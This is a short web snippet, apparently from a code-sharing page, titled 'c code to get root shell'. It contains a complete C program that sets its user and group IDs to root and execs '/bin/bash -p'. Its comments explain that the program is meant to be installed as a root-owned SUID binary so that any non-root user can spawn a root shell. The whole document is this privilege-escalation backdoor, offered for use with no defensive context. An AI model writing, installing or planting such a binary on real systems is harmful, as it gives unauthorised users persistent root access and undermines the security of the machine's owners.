c code to get root shell

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

/*
    This program is designed to be compiled and then have its ownership
    and permissions modified to allow for privilege escalation. When a
    non-root user executes this binary with the SUID bit set, it will
    spawn a shell with root privileges.
*/

int main(void) {
    // Set the Real User ID (RUID) and Effective User ID (EUID) to 0 (root).
    // This call will only succeed if the program is run by root or if
    // the executable has the SUID bit set and is owned by root.
    if (setuid(0) != 0) {
        perror("setuid failed");
        return 1;
    }

    // Also set the Group ID (GID) to 0 for completeness.
    if (setgid(0) != 0) {
        perror("setgid failed");
        return 1;
    }

    // Prepare the arguments for the new shell process.
    // The program to run is "/bin/bash".
    // The "-p" flag is critical: it tells bash not to drop its effective
    // privileges, ensuring we get a root shell (euid=0).
    // The list of arguments must be terminated by a NULL pointer.
    char *args[] = {"/bin/bash", "-p", NULL};

    // Replace the current process with /bin/bash.
    // execve is a system call that executes a new program.
    // It takes the path to the program, the arguments, and environment variables.
    // We pass NULL for the environment to keep it simple.
    execve("/bin/bash", args, NULL);

    // The following lines will only be executed if execve() fails.
    // This is important for error checking.
    perror("execve failed");
    return 1;
}

Last updated